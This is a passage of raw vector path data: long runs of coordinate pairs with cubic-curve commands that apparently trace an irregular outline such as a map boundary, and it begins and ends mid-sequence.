94498.00C69170.00 94508.67 69159.00 94519.33 69148.00 94530.00C69137.97 94528.70 69122.71 94532.62 69116.00 94528.00C69116.00 94507.33 69116.00 94486.67 69116.00 94466.00C69105.33 94476.67 69094.67 94487.33 69084.00 94498.00C69084.00 94476.67 69084.00 94455.33 69084.00 94434.00C69062.67 94412.33 69041.33 94390.67 69020.00 94369.00C69009.33 94390.67 68998.67 94412.33 68988.00 94434.00C68976.33 94435.79 68961.63 94430.28 68952.00 94437.00C68942.33 94446.67 68932.67 94456.33 68923.00 94466.00C68912.97 94464.70 68897.71 94468.62 68891.00 94464.00C68891.00 94454.00 68891.00 94444.00 68891.00 94434.00C68890.32 94443.94 68892.35 94458.28 68890.00 94465.49C68868.89 94454.83 68847.59 94444.55 68826.62 94433.62C68805.41 94412.08 68784.21 94390.54 68763.00 94369.00C68752.00 94337.00 68741.00 94305.00 68730.00 94273.00C68719.33 94283.67 68708.67 94294.33 68698.00 94305.00C68698.00 94326.33 68698.00 94347.67 68698.00 94369.00C68676.67 94347.67 68655.33 94326.33 68634.00 94305.00C68634.00 94283.67 68634.00 94262.33 68634.00 94241.00C68623.33 94230.33 68612.67 94219.67 68602.00 94209.00C68603.30 94198.97 68599.38 94183.71 68604.00 94177.00C68613.36 94175.67 68628.06 94179.69 68634.00 94174.94C68635.30 94165.26 68631.38 94150.36 68636.00 94144.00C68647.04 94141.96 68661.62 94148.45 68670.00 94140.00C68679.33 94130.67 68688.67 94121.33 68698.00 94112.00C68687.33 94101.33 68676.67 94090.67 68666.00 94080.00C68674.74 94080.00 68693.91 94080.00 68696.00 94080.00C68687.15 94079.33 68671.83 94081.34 68667.00 94079.00C68677.33 94068.67 68687.67 94058.33 68698.00 94048.00C68707.52 94047.33 68723.50 94049.34 68729.00 94047.00C68718.67 94036.67 68708.33 94026.33 68698.00 94016.00C68708.67 94005.33 68719.33 93994.67 68730.00 93984.00C68730.00 93962.33 68730.00 93940.67 68730.00 93919.00C68751.67 93908.33 68773.33 93897.67 68795.00 93887.00C68796.30 93876.97 68792.38 93861.71 68797.00 93855.00C68806.37 93853.71 68820.95 93857.62 68827.00 93853.00C68828.29 93843.63 68824.38 93829.05 68829.00 93823.00C68849.67 93823.00 68870.33 93823.00 68891.00 93823.00C68901.67 93801.33 68912.33 93779.67 68923.00 93758.00C68933.67 93769.00 68944.33 93780.00 68955.00 93791.00C68955.00 93769.33 68955.00 93747.67 68955.00 93726.00C68966.00 93715.33 68977.00 93704.67 68988.00 93694.00C68989.00 93683.52 68986.00 93670.17 68989.50 93661.50C69021.00 93651.00 69052.50 93640.50 69084.00 93630.00C69105.33 93640.67 69126.67 93651.33 69148.00 93662.00C69159.67 93660.21 69174.37 93665.72 69184.00 93659.00C69193.67 93649.33 69203.33 93639.67 69213.00 93630.00C69225.00 93628.43 69238.99 93633.40 69249.51 93626.98C69280.13 93606.51 69310.87 93586.25 69341.37 93565.62C69351.91 93554.74 69362.46 93543.87 69373.00 93533.00C69383.36 93531.70 69398.96 93535.63 69406.00 93531.00C69407.29 93521.63 69403.38 93507.05 69408.00 93501.00C69428.67 93501.00 69449.33 93501.00 69470.00 93501.00C69470.00 93469.00 69470.00 93437.00 69470.00 93405.00C69513.00 93372.67 69556.00 93340.33 69599.00 93308.00C69631.00 93297.33 69663.00 93286.67 69695.00 93276.00C69695.68 93285.52 69693.64 93301.54 69696.02 93307.00C69706.91 93296.52 69717.02 93285.05 69728.47 93275.26C69749.32 93264.85 69770.16 93254.42 69791.00 93244.00C69802.00 93254.67 69813.00 93265.33 69824.00 93276.00C69866.67 93265.33 69909.33 93254.67 69952.00 93244.00C69953.48 93232.88 69949.01 93219.29 69954.27 93209.73C69985.85 93178.15 70017.42 93146.58 70049.00 93115.00C70059.03 93113.70 70074.29 93117.62 70081.00 93113.00C70082.29 93103.63 70078.38 93089.05 70083.00 93083.00C70103.67 93083.00 70124.33 93083.00 70145.00 93083.00C70155.67 93061.67 70166.33 93040.33 70177.00 93019.00C70177.00 92976.00 70177.00 92933.00 70177.00 92890.00C70198.67 92879.33 70220.33 92868.67 70242.00 92858.00C70220.33 92836.67 70198.67 92815.33 70177.00 92794.00C70177.00 92761.67 70177.00 92729.33 70177.00 92697.00C70187.03 92695.70 70202.29 92699.62 70209.00 92695.00C70210.33 92685.64 70206.31 92670.94 70211.06 92665.00C70220.95 92664.16 70234.20 92666.68 70242.00 92663.75C70242.00 92610.83 70242.00 92557.92 70242.00 92505.00C70231.00 92483.33 70220.00 92461.67 70209.00 92440.00C70219.91 92438.66 70234.15 92442.68 70243.00 92438.00C70253.33 92417.33 70263.67 92396.67 70274.00 92376.00C70274.00 92354.67 70274.00 92333.33 70274.00 92312.00C70274.67 92321.52 70272.66 92337.50 70275.00 92343.00C70285.33 92332.67 70295.67 92322.33 70306.00 92312.00C70306.00 92279.67 70306.00 92247.33 70306.00 92215.00C70327.33 92215.00 70348.67 92215.00 70370.00 92215.00C70380.67 92183.00 70391.33 92151.00 70402.00 92119.00C70412.36 92117.69 70427.99 92121.65 70435.00 92116.98C70435.00 92074.66 70435.00 92032.33 70435.00 91990.00C70445.03 91988.70 70460.29 91992.62 70467.00 91988.00C70467.00 91967.33 70467.00 91946.67 70467.00 91926.00C70488.33 91893.67 70509.67 91861.33 70531.00 91829.00C70531.00 91797.00 70531.00 91765.00 70531.00 91733.00C70552.33 91733.00 70573.67 91733.00 70595.00 91733.00C70638.00 91679.33 70681.00 91625.67 70724.00 91572.00C70702.67 91561.33 70681.33 91550.67 70660.00 91540.00C70670.67 91518.67 70681.33 91497.33 70692.00 91476.00C70681.33 91465.00 70670.67 91454.00 70660.00 91443.00C70660.00 91421.67 70660.00 91400.33 70660.00 91379.00C70649.00 91368.33 70638.00 91357.67 70627.00 91347.00C70638.00 91336.33 70649.00 91325.67 70660.00 91315.00C70660.00 91293.67 70660.00 91272.33 70660.00 91251.00C70681.33 91251.00 70702.67 91251.00 70724.00 91251.00C70745.33 91218.67 70766.67 91186.33 70788.00 91154.00C70798.59 91152.07 70813.99 91157.91 70821.50 91151.00C70831.67 91130.67 70841.83 91110.33 70852.00 91090.00C70852.00 91068.33 70852.00 91046.67 70852.00 91025.00C70873.67 91025.00 70895.33 91025.00 70917.00 91025.00C70927.67 91014.33 70938.33 91003.67 70949.00 90993.00C70959.17 90992.00 70973.33 90995.00 70981.00 90991.50C70981.00 90960.00 70981.00 90928.50 70981.00 90897.00C70991.78 90885.74 71003.65 90875.33 71013.73 90863.51C71024.15 90842.34 71034.58 90821.17 71045.00 90800.00C71056.00 90789.33 71067.00 90778.67 71078.00 90768.00C71079.77 90756.65 71074.31 90742.31 71081.00 90733.00C71090.67 90723.33 71100.33 90713.67 71110.00 90704.00C71142.00 90714.67 71174.00 90725.33 71206.00 90736.00C71216.67 90725.33 71227.33 90714.67 71238.00 90704.00C71259.67 90704.00 71281.33 90704.00 71303.00 90704.00C71313.67 90714.67 71324.33 90725.33 71335.00 90736.00C71345.67 90714.67 71356.33 90693.33 71367.00 90672.00C71388.33 90672.00 71409.67 90672.00 71431.00 90672.00C71452.67 90607.67 71474.33 90543.33 71496.00 90479.00C71528.00 90446.67 71560.00 90414.33 71592.00 90382.00C71602.67 90350.00 71613.33 90318.00 71624.00 90286.00C71613.33 90211.00 71602.67 90136.00 71592.00 90061.00C71602.63 90007.15 71613.54 89953.35 71624.00 89899.46C71624.00 89856.64 71624.00 89813.82 71624.00 89771.00C71602.67 89717.67 71581.33 89664.33 71560.00 89611.00C71560.00 89578.67 71560.00 89546.33 71560.00 89514.00C71581.33 89460.67 71602.67 89407.33 71624.00 89354.00C71624.00 89311.00 71624.00 89268.00 71624.00 89225.00C71645.33 89192.67 71666.67 89160.33 71688.00 89128.00C71688.00 89106.67 71688.00 89085.33 71688.00 89064.00C71677.33 89042.67 71666.67 89021.33 71656.00 89000.00C71677.67 88978.33 71699.33 88956.67 71721.00 88935.00C71742.33 88924.33 71763.67 88913.67 71785.00 88903.00C71795.48 88902.00 71808.83 88905.00 71817.50 88901.50C71828.00 88870.00 71838.50 88838.50 71849.00 88807.00C71849.00 88785.67 71849.00 88764.33 71849.00 88743.00C71890.93 88698.94 71935.31 88657.31 71978.00 88614.00C72021.00 88603.33 72064.00 88592.67 72107.00 88582.00C72139.00 88539.00 72171.00 88496.00 72203.00 88453.00C72235.00 88442.33 72267.00 88431.67 72299.00 88421.00C72299.00 88399.67 72299.00 88378.33 72299.00 88357.00C72309.36 88355.70 72324.96 88359.63 72332.00 88355.00C72333.00 88345.50 72330.00 88332.00 72333.50 88325.00C72365.00 88325.00 72396.50 88325.00 72428.00 88325.00C72438.67 88314.00 72449.33 88303.00 72460.00 88292.00C72460.68 88302.27 72458.66 88316.96 72461.00 88324.48C72482.00 88313.66 72503.00 88302.83 72524.00 88292.00C72535.59 88303.12 72546.34 88315.29 72558.47 88325.74C72579.32 88336.15 72600.16 88346.58 72621.00 88357.00C72642.43 88346.15 72664.07 88335.73 72685.37 88324.62C72696.04 88313.16 72707.72 88302.49 72717.74 88290.53C72728.15 88269.68 72738.58 88248.84 72749.00 88228.00C72738.33 88174.33 72727.67 88120.67 72717.00 88067.00C72738.67 88045.67 72760.33 88024.33 72782.00 88003.00C72782.00 87981.67 72782.00 87960.33 72782.00 87939.00C72792.67 87928.33 72803.33 87917.67 72814.00 87907.00C72824.03 87905.68 72839.35 87909.66 72846.00 87904.97C72846.00 87883.98 72846.00 87862.99 72846.00 87842.00C72867.33 87820.67 72888.67 87799.33 72910.00 87778.00C72911.79 87766.66 72906.26 87752.25 72913.05 87743.00C72933.70 87722.67 72954.35 87702.33 72975.00 87682.00C73007.00 87671.00 73039.00 87660.00 73071.00 87649.00C72888.67 87499.00 72706.33 87349.00 72524.00 87199.00C72513.97 87197.70 72498.71 87201.62 72492.00 87197.00C72492.00 87176.33 72492.00 87155.67 72492.00 87135.00C72481.33 87113.67 72470.67 87092.33 72460.00 87071.00C72459.14 87058.40 72461.87 87045.22 72458.34 87033.02C72448.23 87002.68 72438.11 86972.34 72428.00 86942.00C72428.00 86920.67 72428.00 86899.33 72428.00 86878.00C72438.67 86867.33 72449.33 86856.67 72460.00 86846.00C72460.00 86749.33 72460.00 86652.67 72460.00 86556.00C72438.67 86524.00 72417.33 86492.00 72396.00 86460.00C72385.53 86458.99 72372.15 86462.02 72363.50 86458.48C72353.00 86426.66 72342.50 86394.83 72332.00 86363.00C72299.67 86341.67 72267.33 86320.33 72235.00 86299.00C72224.97 86297.70 72209.71 86301.62 72203.00 86297.00C72201.71 86287.63 72205.62 86273.05 72201.00 86267.00C72191.63 86265.71 72177.05 86269.62 72171.00 86265.00C72168.99 86253.90 72175.42 86239.38 72167.00 86230.88C72157.67 86221.25 72148.33 86211.63 72139.00 86202.00C72139.00 86180.67 72139.00 86159.33 72139.00 86138.00C72117.33 86138.00 72095.67 86138.00 72074.00 86138.00C72095.84 86095.73 72117.72 86053.45 72138.50 86010.66C72138.31 85999.67 72141.38 85985.00 72136.97 85976.00C72115.98 85965.67 72094.99 85955.33 72074.00 85945.00C72095.67 85945.00 72117.33 85945.00 72139.00 85945.00C72137.23 85933.65 72142.69 85919.31 72136.00 85910.00C72126.33 85900.33 72116.67 85890.67 72107.00 85881.00C72117.67 85870.33 72128.33 85859.67 72139.00 85849.00C72106.67 85827.33 72074.33 85805.67 72042.00 85784.00C72052.03 85782.70 72067.29 85786.62 72074.00 85782.00C72074.00 85761.33 72074.00 85740.67 72074.00 85720.00C72063.33 85698.67 72052.67 85677.33 72042.00 85656.00C72052.67 85634.67 72063.33 85613.33 72074.00 85592.00C72063.33 85581.00 72052.67 85570.00 72042.00 85559.00C72031.09 85557.21 72016.27 85562.72 72008.00 85556.00C71987.33 85525.00 71966.67 85494.00 71946.00 85463.00C71924.33 85473.67 71902.67 85484.33 71881.00 85495.00C71870.33 85484.33 71859.67 85473.67 71849.00 85463.00C71838.33 85473.67 71827.67 85484.33 71817.00 85495.00C71806.33 85484.33 71795.67 85473.67 71785.00 85463.00C71774.33 85473.67 71763.67 85484.33 71753.00 85495.00C71709.90 85473.87 71666.90 85452.54 71624.00 85431.00C71624.00 85409.33 71624.00 85387.67 71624.00 85366.00C71613.33 85355.33 71602.67 85344.67 71592.00 85334.00C71590.70 85323.97 71594.62 85308.71 71590.00 85302.00C71580.63 85300.71 71566.05 85304.62 71560.00 85300.00C71558.71 85290.63 71562.62 85276.05 71558.00 85270.00C71548.63 85271.29 71534.05 85267.38 71528.00 85272.00C71528.00 85282.00 71528.00 85292.00 71528.00 85302.00C71528.00 85270.00 71528.00 85238.00 71528.00 85206.00C71517.33 85195.33 71506.67 85184.67 71496.00 85174.00C71485.00 85184.67 71474.00 85195.33 71463.00 85206.00C71484.67 85195.33 71506.33 85184.67 71528.00 85174.00C71517.33 85152.33 71506.67 85130.67 71496.00 85109.00C71505.52 85108.33 71521.50 85110.34 71527.00 85108.00C71516.67 85097.67 71506.33 85087.33 71496.00 85077.00C71506.67 85066.33 71517.33 85055.67 71528.00 85045.00C71517.33 85034.33 71506.67 85023.67 71496.00 85013.00C71506.03 85011.70 71521.29 85015.62 71528.00 85011.00C71526.69 85001.63 71530.65 84986.99 71525.97 84981.00C71504.98 84981.00 71483.99 84981.00 71463.00 84981.00C71474.00 84970.33 71485.00 84959.67 71496.00 84949.00C71494.66 84938.65 71498.70 84922.92 71493.94 84916.00C71484.26 84914.70 71469.36 84918.62 71463.00 84914.00C71464.33 84904.64 71460.31 84889.94 71465.06 84884.00C71474.74 84882.70 71489.64 84886.62 71496.00 84882.00C71496.00 84861.33 71496.00 84840.67 71496.00 84820.00C71485.63 84818.69 71470.02 84822.65 71462.99 84817.99C71462.91 84797.15 71463.21 84776.32 71462.83 84755.49C71452.23 84723.33 71441.61 84691.16 71431.00 84659.00C71441.67 84648.33 71452.33 84637.67 71463.00 84627.00C71441.67 84616.33 71420.33 84605.67 71399.00 84595.00C71409.67 84584.33 71420.33 84573.67 71431.00 84563.00C71431.00 84530.67 71431.00 84498.33 71431.00 84466.00C71420.33 84455.33 71409.67 84444.67 71399.00 84434.00C71409.16 84432.99 71423.35 84436.01 71431.00 84432.49C71431.00 84368.66 71431.00 84304.83 71431.00 84241.00C71440.52 84240.33 71456.50 84242.34 71462.00 84240.00C71451.67 84229.67 71441.33 84219.33 71431.00 84209.00C71441.67 84187.67 71452.33 84166.33 71463.00 84145.00C71453.48 84144.33 71437.50 84146.34 71432.00 84144.00C71442.33 84133.67 71452.67 84123.33 71463.00 84113.00C71452.33 84091.33 71441.67 84069.67 71431.00 84048.00C71441.67 84037.33 71452.33 84026.67 71463.00 84016.00C71452.33 84005.33 71441.67 83994.67 71431.00 83984.00C71441.67 83973.33 71452.33 83962.67 71463.00 83952.00C71484.67 83952.00 71506.33 83952.00 71528.00 83952.00C71517.33 83941.33 71506.67 83930.67 71496.00 83920.00C71517.33 83920.00 71538.67 83920.00 71560.00 83920.00C71549.33 83909.00 71538.67 83898.00 71528.00 83887.00C71537.52 83886.33 71553.50 83888.34 71559.00 83886.00C71548.67 83875.67 71538.33 83865.33 71528.00 83855.00C71538.67 83844.33 71549.33 83833.67 71560.00 83823.00C71560.67 83832.52 71558.66 83848.50 71561.00 83854.00C71571.33 83843.67 71581.67 83833.33 71592.00 83823.00C71602.03 83821.70 71617.29 83825.62 71624.00 83821.00C71625.01 83811.20 71621.99 83798.48 71625.52 83790.50C71657.34 83780.00 71689.17 83769.50 71721.00 83759.00C71722.56 83746.98 71717.61 83733.00 71724.02 83722.44C71744.48 83691.51 71764.75 83660.45 71785.38 83629.62C71806.59 83608.41 71827.79 83587.21 71849.00 83566.00C71849.00 83544.67 71849.00 83523.33 71849.00 83502.00C71859.67 83512.67 71870.33 83523.33 71881.00 83534.00C71906.00 83510.33 71930.01 83485.65 71954.00 83460.96C71962.48 83452.74 71970.50 83443.85 71979.47 83436.26C72000.32 83425.85 72021.16 83415.42 72042.00 83405.00C72063.67 83351.33 72085.33 83297.67 72107.00 83244.00C72139.00 83244.00 72171.00 83244.00 72203.00 83244.00C72224.33 83222.67 72245.67 83201.33 72267.00 83180.00C72278.39 83178.24 72292.69 83183.67 72302.09 83177.00C72312.06 83167.33 72322.03 83157.67 72332.00 83148.00C72333.00 83136.27 72329.90 83123.64 72333.73 83112.49C72343.82 83092.00 72353.91 83071.50 72364.00 83051.00C72364.00 83019.00 72364.00 82987.00 72364.00 82955.00C72353.33 82923.00 72342.67 82891.00 72332.00 82859.00C72342.67 82848.00 72353.33 82837.00 72364.00 82826.00C72354.48 82825.33 72338.50 82827.34 72333.00 82825.00C72343.33 82814.67 72353.67 82804.33 72364.00 82794.00C72363.89 82772.50 72364.22 82750.99 72363.83 82729.49C72353.23 82697.33 72342.61 82665.16 72332.00 82633.00C72299.67 82622.33 72267.33 82611.67 72235.00 82601.00C72213.67 82579.67 72192.33 82558.33 72171.00 82537.00C72171.00 82515.67 72171.00 82494.33 72171.00 82473.00C72160.33 82451.33 72149.67 82429.67 72139.00 82408.00C72139.00 82386.67 72139.00 82365.33 72139.00 82344.00C72117.33 82312.00 72095.67 82280.00 72074.00 82248.00C72074.00 82194.33 72074.00 82140.67 72074.00 82087.00C72085.67 82085.21 72100.37 82090.72 72110.00 82084.00C72130.33 82063.67 72150.67 82043.33 72171.00 82023.00C72160.98 82021.66 72145.60 82025.70 72139.00 82020.94C72137.68 82011.27 72141.66 81996.30 72136.97 81990.00C72115.98 81990.00 72094.99 81990.00 72074.00 81990.00C72063.33 81968.67 72052.67 81947.33 72042.00 81926.00C72040.23 81914.65 72045.69 81900.31 72039.00 81891.00C72029.33 81881.33 72019.67 81871.67 72010.00 81862.00C72011.30 81851.97 72007.38 81836.71 72012.00 81830.00C72032.67 81830.00 72053.33 81830.00 72074.00 81830.00C72063.33 81808.33 72052.67 81786.67 72042.00 81765.00C72052.67 81776.00 72063.33 81787.00 72074.00 81798.00C72085.00 81765.67 72096.00 81733.33 72107.00 81701.00C72085.33 81690.33 72063.67 81679.67 72042.00 81669.00C72040.70 81679.03 72044.62 81694.29 72040.00 81701.00C71998.00 81701.00 71956.00 81701.00 71914.00 81701.00C71913.65 81691.39 71914.69 81676.06 71913.48 81670.00C71902.66 81691.00 71891.83 81712.00 71881.00 81733.00C71870.41 81731.07 71855.01 81736.91 71847.50 81730.00C71837.33 81709.67 71827.17 81689.33 71817.00 81669.00C71806.33 81679.67 71795.67 81690.33 71785.00 81701.00C71742.00 81711.67 71699.00 81722.33 71656.00 81733.00C71645.33 81690.33 71634.67 81647.67 71624.00 81605.00C71613.33 81594.00 71602.67 81583.00 71592.00 81572.00C71581.33 81583.00 71570.67 81594.00 71560.00 81605.00C71558.70 81615.03 71562.62 81630.29 71558.00 81637.00C71537.33 81637.00 71516.67 81637.00 71496.00 81637.00C71485.00 81626.33 71474.00 81615.67 71463.00 81605.00C71452.33 81615.67 71441.67 81626.33 71431.00 81637.00C71409.67 81626.33 71388.33 81615.67 71367.00 81605.00C71345.67 81615.67 71324.33 81626.33 71303.00 81637.00C71281.33 81615.33 71259.67 81593.67 71238.00 81572.00C71206.00 81583.00 71174.00 81594.00 71142.00 81605.00C71131.41 81606.93 71116.01 81601.09 71108.50 81608.00C71098.33 81628.33 71088.17 81648.67 71078.00 81669.00C71056.33 81658.33 71034.67 81647.67 71013.00 81637.00C71001.28 81635.99 70988.63 81639.12 70977.50 81635.26C70935.57 81614.38 70893.74 81593.28 70852.00 81572.00C70798.67 81572.00 70745.33 81572.00 70692.00 81572.00C70681.33 81561.33 70670.67 81550.67 70660.00 81540.00C70660.00 81497.33 70660.00 81454.67 70660.00 81412.00C70638.33 81412.00 70616.67 81412.00 70595.00 81412.00C70584.33 81401.00 70573.67 81390.00 70563.00 81379.00C70552.33 81390.00 70541.67 81401.00 70531.00 81412.00C70519.06 81414.09 70503.46 81407.28 70494.45 81416.50C70463.64 81447.00 70432.82 81477.50 70402.00 81508.00C70380.67 81497.33 70359.33 81486.67 70338.00 81476.00C70348.67 81486.67 70359.33 81497.33 70370.00 81508.00C70359.33 81540.33 70348.67 81572.67 70338.00 81605.00C70347.52 81605.67 70363.50 81603.66 70369.00 81606.00C70358.67 81616.33 70348.33 81626.67 70338.00 81637.00C70306.00 81615.33 70274.00 81593.67 70242.00 81572.00C70209.67 81572.00 70177.33 81572.00 70145.00 81572.00C70134.33 81561.33 70123.67 81550.67 70113.00 81540.00C70111.23 81528.65 70116.69 81514.31 70110.00 81505.00C70100.33 81495.33 70090.67 81485.67 70081.00 81476.00C70079.68 81465.97 70083.66 81450.65 70078.97 81444.00C70057.98 81444.00 70036.99 81444.00 70016.00 81444.00C70027.00 81411.67 70038.00 81379.33 70049.00 81347.00C70037.42 81336.21 70026.62 81324.41 70014.53 81314.26C69993.68 81303.85 69972.84 81293.42 69952.00 81283.00C69941.33 81293.67 69930.67 81304.33 69920.00 81315.00C69909.33 81315.00 69898.67 81315.00 69888.00 81315.00C69898.67 81272.33 69909.33 81229.67 69920.00 81187.00C69908.66 81185.19 69894.19 81190.79 69885.00 81183.91C69875.33 81173.94 69865.67 81163.97 69856.00 81154.00C69856.00 81122.00 69856.00 81090.00 69856.00 81058.00C68311.91 81057.92 66767.82 81058.17 65223.74 81057.88C65031.49 81047.25 64839.25 81036.63 64647.00 81026.00C64648.00 81015.83 64645.00 81001.67 64648.50 80994.00C64680.00 80994.00 64711.50 80994.00 64743.00 80994.00C64743.00 80961.67 64743.00 80929.33 64743.00 80897.00C64754.00 80886.33 64765.00 80875.67 64776.00 80865.00C64776.11 80843.50 64775.78 80821.99 64776.17 80800.49C64786.78 80768.33 64797.39 80736.16 64808.00 80704.00C64808.00 80682.67 64808.00 80661.33 64808.00 80640.00C64797.97 80638.70 64782.71 80642.62 64776.00 80638.00C64776.00 80617.33 64776.00 80596.67 64776.00 80576.00C64765.00 80565.00 64754.00 80554.00 64743.00 80543.00C64753.50 80542.00 64768.00 80545.00 64776.00 80541.50C64776.00 80478.00 64776.00 80414.50 64776.00 80351.00C64797.33 80340.00 64818.67 80329.00 64840.00 80318.00C64840.00 80286.00 64840.00 80254.00 64840.00 80222.00C64850.67 80200.67 64861.33 80179.33 64872.00 80158.00C64861.33 80136.33 64850.67 80114.67 64840.00 80093.00C64861.33 80071.67 64882.67 80050.33 64904.00 80029.00C64905.77 80040.35 64900.31 80054.69 64907.00 80064.00C64916.67 80073.67 64926.33 80083.33 64936.00 80093.00C64937.32 80103.35 64933.33 80119.02 64938.03 80126.00C64959.02 80126.00 64980.01 80126.00 65001.00 80126.00C64990.00 80104.33 64979.00 80082.67 64968.00 80061.00C64979.00 80029.00 64990.00 79997.00 65001.00 79965.00C64990.00 79954.33 64979.00 79943.67 64968.00 79933.00C64968.00 79911.33 64968.00 79889.67 64968.00 79868.00C64957.33 79846.67 64946.67 79825.33 64936.00 79804.00C64937.36 79793.42 64933.29 79779.47 64938.03 79771.00C64959.02 79760.67 64980.01 79750.33 65001.00 79740.00C64999.66 79729.65 65003.70 79713.92 64998.94 79707.00C64987.60 79704.92 64972.67 79711.52 64964.00 79703.00C64944.00 79683.00 64924.00 79663.00 64904.00 79643.00C64904.00 79611.00 64904.00 79579.00 64904.00 79547.00C64914.67 79536.33 64925.33 79525.67 64936.00 79515.00C64946.16 79513.99 64960.35 79517.01 64968.00 79513.49C64968.00 79449.66 64968.00 79385.83 64968.00 79322.00C64957.33 79311.33 64946.67 79300.67 64936.00 79290.00C64957.67 79257.67 64979.33 79225.33 65001.00 79193.00C64990.00 79171.67 64979.00 79150.33 64968.00 79129.00C64979.00 79118.33 64990.00 79107.67 65001.00 79097.00C64990.00 79064.67 64979.00 79032.33 64968.00 79000.00C64989.67 78978.67 65011.33 78957.33 65033.00 78936.00C65033.00 78914.33 65033.00 78892.67 65033.00 78871.00C65011.33 78849.67 64989.67 78828.33 64968.00 78807.00C64968.00 78742.67 64968.00 78678.33 64968.00 78614.00C64989.67 78571.33 65011.33 78528.67 65033.00 78486.00C65022.33 78475.33 65011.67 78464.67 65001.00 78454.00C65011.67 78443.00 65022.33 78432.00 65033.00 78421.00C65043.67 78367.67 65054.33 78314.33 65065.00 78261.00C65043.67 78261.00 65022.33 78261.00 65001.00 78261.00C65002.79 78249.33 64997.28 78234.63 65004.00 78225.00C65013.67 78215.33 65023.33 78205.67 65033.00 78196.00C65011.23 78185.16 64989.26 78174.72 64967.62 78163.62C64957.08 78153.08 64946.54 78142.54 64936.00 78132.00C64925.41 78130.07 64910.01 78135.91 64902.50 78129.00C64892.33 78108.67 64882.17 78088.33 64872.00 78068.00C64872.00 78025.00 64872.00 77982.00 64872.00 77939.00C64861.53 77938.00 64848.17 77941.00 64839.50 77937.50C64829.00 77906.00 64818.50 77874.50 64808.00 77843.00C64775.67 77843.00 64743.33 77843.00 64711.00 77843.00C64700.33 77821.33 64689.67 77799.67 64679.00 77778.00C64668.41 77776.07 64653.01 77781.91 64645.50 77775.00C64635.33 77754.67 64625.17 77734.33 64615.00 77714.00C64636.33 77703.33 64657.67 77692.67 64679.00 77682.00C64638.97 77621.08 64598.72 77560.30 64557.54 77500.15C64546.30 77484.48 64539.21 77466.41 64530.22 77449.44C64526.15 77441.29 64522.07 77433.15 64518.00 77425.00C64518.00 77360.67 64518.00 77296.33 64518.00 77232.00C64561.00 77221.33 64604.00 77210.67 64647.00 77200.00C64636.33 77189.00 64625.67 77178.00 64615.00 77167.00C64615.00 77135.00 64615.00 77103.00 64615.00 77071.00C64582.67 77060.33 64550.33 77049.67 64518.00 77039.00C64517.00 77028.83 64520.00 77014.67 64516.50 77007.00C64485.00 77007.00 64453.50 77007.00 64422.00 77007.00C64422.40 76991.31 64420.49 76975.34 64424.79 76960.01C64434.53 76911.16 64444.45 76862.35 64454.00 76813.46C64454.00 76791.98 64454.00 76770.49 64454.00 76749.00C64464.67 76727.67 64475.33 76706.33 64486.00 76685.00C64486.00 76663.67 64486.00 76642.33 64486.00 76621.00C64495.81 76619.99 64511.18 76623.02 64517.50 76619.48C64507.00 76587.66 64496.50 76555.83 64486.00 76524.00C64496.67 76513.33 64507.33 76502.67 64518.00 76492.00C64519.81 76481.10 64514.25 76466.23 64521.03 76458.00C64552.35 76437.33 64583.68 76416.67 64615.00 76396.00C64636.33 76342.33 64657.67 76288.67 64679.00 76235.00C64680.93 76224.41 64675.09 76209.01 64682.00 76201.50C64702.33 76191.33 64722.67 76181.17 64743.00 76171.00C64743.00 76138.67 64743.00 76106.33 64743.00 76074.00C64732.33 76063.33 64721.67 76052.67 64711.00 76042.00C64721.67 76020.67 64732.33 75999.33 64743.00 75978.00C64753.36 75976.70 64768.96 75980.63 64776.00 75976.00C64773.95 75964.90 64780.52 75950.24 64771.88 75941.88C64762.25 75932.25 64752.63 75922.63 64743.00 75913.00C64754.00 75902.33 64765.00 75891.67 64776.00 75881.00C64776.00 75838.33 64776.00 75795.67 64776.00 75753.00C64797.33 75731.33 64818.67 75709.67 64840.00 75688.00C64840.00 75645.33 64840.00 75602.67 64840.00 75560.00C64829.33 75527.67 64818.67 75495.33 64808.00 75463.00C64808.00 75431.00 64808.00 75399.00 64808.00 75367.00C64786.33 75356.33 64764.67 75345.67 64743.00 75335.00C64754.00 75313.33 64765.00 75291.67 64776.00 75270.00C64774.65 75259.43 64778.70 75245.48 64773.98 75237.01C64731.56 75216.21 64689.22 75195.21 64647.00 75174.00C64679.00 75131.00 64711.00 75088.00 64743.00 75045.00C64743.00 75013.00 64743.00 74981.00 64743.00 74949.00C64700.33 74927.67 64657.67 74906.33 64615.00 74885.00C64593.33 74885.00 64571.67 74885.00 64550.00 74885.00C64539.33 74874.00 64528.67 74863.00 64518.00 74852.00C64561.00 74830.67 64604.00 74809.33 64647.00 74788.00C64657.67 74798.67 64668.33 74809.33 64679.00 74820.00C64700.33 74820.00 64721.67 74820.00 64743.00 74820.00C64754.00 74798.67 64765.00 74777.33 64776.00 74756.00C64808.00 74745.33 64840.00 74734.67 64872.00 74724.00C64871.89 74702.16 64872.23 74680.33 64871.83 74658.49C64861.22 74626.66 64850.61 74594.83 64840.00 74563.00C64861.33 74563.00 64882.67 74563.00 64904.00 74563.00C64925.33 74520.00 64946.67 74477.00 64968.00 74434.00C64979.00 74423.33 64990.00 74412.67 65001.00 74402.00C64990.64 74400.70 64975.04 74404.63 64968.00 74400.00C64967.33 74391.15 64969.34 74375.83 64967.00 74371.00C64956.67 74381.33 64946.33 74391.67 64936.00 74402.00C64925.41 74400.07 64910.01 74405.91 64902.50 74399.00C64892.33 74378.67 64882.17 74358.33 64872.00 74338.00C64882.63 74284.15 64893.54 74230.35 64904.00 74176.46C64902.70 74166.61 64906.62 74151.54 64902.00 74145.00C64892.63 74143.71 64878.05 74147.62 64872.00 74143.00C64870.71 74133.63 64874.62 74119.05 64870.00 74113.00C64860.63 74111.70 64846.02 74115.63 64840.00 74110.98C64840.00 74068.66 64840.00 74026.33 64840.00 73984.00C64829.97 73982.70 64814.71 73986.62 64808.00 73982.00C64808.00 73961.33 64808.00 73940.67 64808.00 73920.00C64786.33 73930.67 64764.67 73941.33 64743.00 73952.00C64711.00 73920.00 64679.00 73888.00 64647.00 73856.00C64648.31 73845.33 64644.36 73830.55 64649.02 73822.50C64691.34 73812.00 64733.67 73801.50 64776.00 73791.00C64711.67 73759.00 64647.33 73727.00 64583.00 73695.00C64561.08 73673.92 64539.40 73652.60 64518.00 73631.00C64516.21 73619.33 64521.72 73604.63 64515.00 73595.00C64505.33 73585.33 64495.67 73575.67 64486.00 73566.00C64518.33 73534.00 64550.67 73502.00 64583.00 73470.00C64593.03 73468.68 64608.35 73472.66 64615.00 73467.97C64615.00 73446.98 64615.00 73425.99 64615.00 73405.00C64625.67 73394.33 64636.33 73383.67 64647.00 